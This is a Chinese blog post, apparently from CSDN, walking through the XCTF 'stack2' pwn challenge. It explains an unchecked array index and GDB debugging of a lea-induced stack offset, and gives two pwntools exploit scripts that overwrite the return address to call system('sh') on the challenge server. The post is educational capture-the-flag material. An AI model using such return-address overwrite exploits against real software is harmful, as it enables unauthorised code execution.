攻防世界pwn高手区stack2 lea调整栈帧导致偏移错误

本文解析了一个存在数组越界漏洞的程序Stack2,通过IDA反汇编和GDB调试,作者揭示了漏洞利用过程,包括lea指令对栈帧的影响,最终实现getshell的方法。关键词:数组越界、栈帧调整、exploit、shellcode、gdb
摘要由CSDN通过智能技术生成

Stack2

请添加图片描述

这题废话很多,说白了就一个数组越界的漏洞可以利用,没有对下标v5做限定,所以可以利用数组越界,直接越过canary,利用留下的后门getshell

请添加图片描述

刚开始看ida以为位移是0x74所以exp如下

from pwn import *

p = remote('111.200.241.244', '50928')
# p = process("./stack2")
# context.log_level = 'debug'

hackhere = [0x9b, 0x85, 0x04, 0x08]
write_offset = 0x74

def change_number(offset, value):
    p.sendlineafter(b'5. exit\n', b'3')
    p.sendlineafter(b'which number to change:', str(offset).encode())
    p.sendlineafter(b'new number:', str(value).encode())

p.sendlineafter(b'How many numbers you have:', b'1')
p.sendlineafter(b'Give me your numbers', b'1')

for i in range(4):
    change_number(write_offset+i, hackhere[i])


p.sendlineafter(b'5. exit\n', b'5')

p.interactive()

然而没啥用

最后从ida知道ret之前的lea指令对栈帧做了调整,所以进gdb调试一下

断点下在shownum那里,然后输入数字7,然后n一步步向下看,发现eax使我们输入的数字,edx指向我们输入的7,所以edx的地址是数组首地址,为0xffffd148

请添加图片描述

然后重新来一遍,把断点下到0x080488EF,也就是lea指令

请添加图片描述

发现lea指令完之后会给esp加0x10,然后我们n一下,执行一条指令看看
请添加图片描述

发现esp变成了0xffffd1cc,确实加了0x10

也就是0xffffd1cc -0xffffd148 = 0x84,比原来的偏移多了0x10,果然是lea指令调整了栈帧

然后就可以写exp了,不过发现这个后门用不了,不信你可以试试看,会发现找不到bash,但是有字符sh可以让我们查找

请添加图片描述

我们用第一个0x08048987就行了,然后system函数也存在,所以可以getshell

然后可以写exp了,要注意小端存储还有x86下的参数位置

from pwn import *

p = remote('111.200.241.244', '50928')
# p = process("./stack2")
# context.log_level = 'debug'

system_addr = [0x50, 0x84, 0x04, 0x08] # 0x08048450
sh_addr = [0x87, 0x89, 0x04, 0x08]  # 0x08048987
write_offset = 0x84

def change_number(offset, value):
    p.sendlineafter(b'5. exit\n', b'3')
    p.sendlineafter(b'which number to change:', str(offset).encode())
    p.sendlineafter(b'new number:', str(value).encode())

p.sendlineafter(b'How many numbers you have:', b'1')
p.sendlineafter(b'Give me your numbers', b'1')

for i in range(4):
   change_number(write_offset+i, system_addr[i])

write_offset += 8
for i in range(4):
   change_number(write_offset+i, sh_addr[i])

p.sendlineafter(b'5. exit\n', b'5')

p.interactive()

然后就拿到flag了

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值